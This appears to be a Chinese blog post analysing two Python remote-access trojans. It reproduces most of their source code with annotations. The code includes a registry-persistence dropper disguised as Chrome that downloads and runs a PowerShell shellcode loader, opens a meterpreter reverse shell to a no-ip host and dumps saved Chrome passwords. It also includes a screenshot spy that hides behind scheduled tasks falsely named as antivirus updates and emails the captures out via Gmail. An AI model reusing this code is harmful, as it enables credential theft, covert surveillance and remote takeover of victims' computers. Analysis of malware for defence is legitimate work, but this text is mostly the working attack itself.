0x01 前言

两款基于Python的可绕过安全检测的RAT,简单分析下代码

Powershell-RAT Python based backdoor that uses Gmail to exfiltrate data as an e-mail attachment

Python-Rootkit Python Remote Administration Tool (RAT) to gain meterpreter session

共同点差不多就是:功能单一、相对隐蔽

Use your social engineer skills to make him open the file这句话逗笑了,精髓啊

0x02 Python-Rootkit

GoogleChromeAutoLaunch.py

NO_IP_HOST = 'googlechromeauto.serveirc.com'
LHOST = '10.0.0.1'
LPORT = 4444
TIME_SLEEP = 10
#msf反向监听的地址

TEMP_PATH = tempfile.gettempdir()
REG_PATH = r"Software\Microsoft\Windows\CurrentVersion\Run"
REG_NAME = "GoogleChromeAutoLaunch_9921366102WEAD21312ESAD31312"
REG_VALUE = '"' + TEMP_PATH + '\GoogleChromeAutoLaunch.exe' + '"' + ' --no-startup-window /prefetch:5'

def set_reg_key_value(REG_PATH, name, value):
#修改注册表,将GoogleChromeAutoLaunch.exe进行注册伪装
    try:
        registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, REG_PATH, 0,_winreg.KEY_ALL_ACCESS)
        _winreg.SetValueEx(registry_key, name, 0, _winreg.REG_SZ, value)
    except WindowsError:
        pass

def fire():
    if NO_IP_HOST:
        # Check if no-ip is online or not
        get_noip_ip_address()

    if platform.machine().endswith('32') or platform.machine().endswith('86'):
    #用来判断操作系统位数,是否以“86”或“32”结尾来判断是否是32位
        try:
            subprocess.Popen("powershell -noprofile -windowstyle hidden iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost %s -Lport %s -Force;" % (LHOST,LPORT), shell=True)
            #核心命令:从github上下载Empire脚本并反弹shell
        except WindowsError:
            pass
    else:
        try:
            subprocess.Popen("C:\Windows\SysWOW64\WindowsPowerShell\/v1.0\powershell.exe -noprofile -windowstyle hidden iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost %s -Lport %s -Force;" % (LHOST,LPORT), shell=True)
        except WindowsError:
            pass

def run_after_close():
    foundIT = False
    runningProcess = []
    for item in os.popen('tasklist').read().splitlines()[4:]:
        runningProcess.append(item.split())
    for item2 in runningProcess:
        if "powershell.exe" in item2:
            foundIT = True

    if not foundIT:
        fire()


def get_noip_ip_address():
    global NO_IP_HOST
    global LHOST
    LHOST = socket.gethostbyname(NO_IP_HOST)

def dump_google_password():
#获取chrome账户密码
    path = ''
    try:
        path = sys.argv[1]
    except IndexError:
        for w in os.walk(os.getenv('USERPROFILE')):
            if 'Chrome' in w[1]:
                path = str(w[0]) + '\Chrome\User Data\Default\Login Data'

    # Connect to the Database
    try:
        conn = sqlite3.connect(path)
        cursor = conn.cursor()
    except Exception:
        pass
    else:
        try:
            cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        except Exception:
            pass
        else:
            data = cursor.fetchall()
            GoogleAutoPassPath = TEMP_PATH + '//GoogleAutoPass'
            passGoogle = open(GoogleAutoPassPath,'w')
            for result in data:
                # Decrypt the Password
                try:
                    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
                except Exception:
                    continue
                if password:
                    try:
                        passGoogle.write("[+] URL: %s \n    Username: %s \n    Password: %s \n" % (result[0], result[1], password))
                    except Exception:
                        pass
            passGoogle.close()


# fire the payload
fire()
time.sleep(5)
# set the reg value in run key
set_reg_key_value(REG_PATH,REG_NAME,REG_VALUE)

# dump google chrome password
dump_google_password()

# keep firing in case of the connection is loss
while True:
    run_after_close()
    time.sleep(TIME_SLEEP)

dump_google_password单独取出来测试了下,效果不理想

import tempfile
import os
import sqlite3
import win32crypt
import sys

TEMP_PATH = tempfile.gettempdir()

def dump_google_password():
    path = 'E:\LoginData'
    conn = sqlite3.connect(path)
    cursor = conn.cursor()
    cursor.execute('SELECT action_url, username_value, password_value FROM logins')
    data = cursor.fetchall()
    GoogleAutoPassPath = TEMP_PATH + '//GoogleAutoPass'
    passGoogle = open(GoogleAutoPassPath,'w')
    for result in data:
        try:
            password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)
        except Exception:
            continue
        if password:
            try:
                passGoogle.write("[+] URL: %s \n    Username: %s \n    Password: %s \n" % (result[0], result[1], password))
            except Exception:
                pass
dump_google_password()

0x03 Python-RAT

可以说是个很简陋的RAT了,主要功能就是“截屏并发送邮件”

PowershellRAT.py

这个文件主要是用来整合那些功能的


def cmd_exectionPolicy():

    process=subprocess.Popen(["powershell","Set-ExecutionPolicy Unrestricted"], shell=False);
    
    #windows默认不允许任何脚本运行,使用这个命令让PowerShell运行在无限制的环境之下    
    #Restricted——默认的设置, 不允许任何script运行
    #AllSigned——只能运行经过数字证书签名的script
    #RemoteSigned——运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名
    #Unrestricted——允许所有的script运行
    #在win7下,必须使用管理员的权限启动命令命令行,否则会报“Set-ExecutionPolicy : 对注册表项“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell”的访问被拒绝”错误
    
    result=process.communicate()[0]
    print(result)
    print ("Execution Policy is now set to unrestricted...")
    
def cmd_takeScreenshot():

    process=subprocess.Popen(["powershell","Shoot.ps1"], shell=False);
    #截屏功能
    result1=process.communicate()[0]
    print(result1)
    print ("ScreenShot taken successfully...")

def cmd_ScreenShotTaskScheduler():

    process=subprocess.Popen(["powershell","schtasks /create /sc minute /mo 1 /tn MicrosoftAntiVirusCriticalUpdatesCore /tr C:\Python36\Shoot.vbs"], shell=False);
    #创建截屏计划任务并命名为MicrosoftAntiVirusCriticalUpdatesCore
    result2=process.communicate()[0]
    print(result2)
    print ("Task scheduled successfully...")

def cmd_sendMail():
    
    process=subprocess.Popen(["powershell","Mail.ps1"], shell=False);
    #邮件发送功能
    result3=process.communicate()[0]
    print(result3)
    

def cmd_MailTaskScheduler():
    
    process=subprocess.Popen(["powershell","schtasks /create /sc minute /mo 5 /tn MicrosoftAntiVirusCriticalUpdatesUA /tr C:\Python36\Mail.vbs"], shell=False);
    #创建邮件计划任务并命名为MicrosoftAntiVirusCriticalUpdatesUA
    result4=process.communicate()[0]
    print(result4)
    print ("Task for data ex-filtration scheduled successfully...")
    
def cmd_deleteScreenShot():
    
    process=subprocess.Popen(["powershell","Remove-Item $env:USERPROFILE\Documents\ScreenShot\*.*"], shell=False);
    #删除截屏文件
    result5=process.communicate()[0]
    print(result5)
    print ("All files deleted successfully...")
    
def cmd_deleteTaskScheduler():
    
    process=subprocess.Popen(["powershell","schtasks /create /sc minute /mo 12 /tn MicrosoftAntiVirusCriticalUpdatesDF /tr C:\Python36\delScreenShot.vbs"], shell=False);
    #创建删除截屏文件计划任务并命名为MicrosoftAntiVirusCriticalUpdatesDF

    result6=process.communicate()[0]
    print(result6)
    print ("Task for deleting data scheduled successfully...")
    
def cmd_HailMary():
    cmd_ScreenShotTaskScheduler()
    cmd_MailTaskScheduler()
    cmd_deleteTaskScheduler()
    print ("Backdoor successful...")
    #执行上边三个计划任务

Shoot.ps1

$OutPath = "$env:USERPROFILE\Documents\ScreenShot"
if (-not (Test-Path $OutPath))
        {
            New-Item $OutPath -ItemType Directory -Force
        }
$FileName = "$env:COMPUTERNAME - $(get-date -f yyyy-MM-dd_HHmmss).png"
#$File = "$OutPath\$FileName"
$File = Join-Path $OutPath $fileName
Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
# Gather Screen resolution information
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
#用来获取整个虚拟屏幕的矩形
$Width = $Screen.Width
$Height = $Screen.Height
$Left = $Screen.Left
$Top = $Screen.Top
#获取到的四边长度
# Create bitmap using the top-left and bottom-right bounds
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height
#创建一个Bimap类的实例,并将其缩放为指定的大小
# Create Graphics object
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
#从指定的bitmap创建新的图像
# Capture screen
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
#进行像素的复制(Performs a bit-block transfer of color data, corresponding to a rectangle of pixels, from the screen to the drawing surface of the Graphics.)
# Save to file
$bitmap.Save($File) 
#Write-Output "Screenshot saved to:"
Write-Output $File

Mail.ps1

#Connection Details
$username="[email protected]"
$password="xxxxx"
$smtpServer = "smtp.gmail.com"
$msg = new-object Net.Mail.MailMessage
#初始化MailMessage的新实例

#SMTP connection
$smtp = New-Object Net.Mail.SmtpClient($SmtpServer, 587) 
#使用配置文件初始化SmtpClient的新实例

#SSL tunnel to communicate   
$smtp.EnableSsl = $true
#开启ssl

$smtp.Credentials = New-Object System.Net.NetworkCredential($username,$password)
#初始化NetworkCredential的新实例

#From Address
$msg.From = "[email protected]"

#To Address, Copy the below line for multiple recipients
$msg.To.Add("[email protected]")

#Message Body
$msg.Body="Please See Attached Files"

#Message Subject
$msg.Subject = "Email with Multiple Attachments"

#your file location
$files=Get-ChildItem "$env:USERPROFILE\Documents\ScreenShot\"

Foreach($file in $files)
{
Write-Host "Attaching File :- " $file
$attachment = new-object System.Net.Mail.Attachment -ArgumentList $file.FullName
#使用指定的流和文件名称
$msg.Attachments.Add($attachment)

}
$smtp.Send($msg)
write-host "    Mail Sent"
$attachment.Dispose();
$msg.Dispose();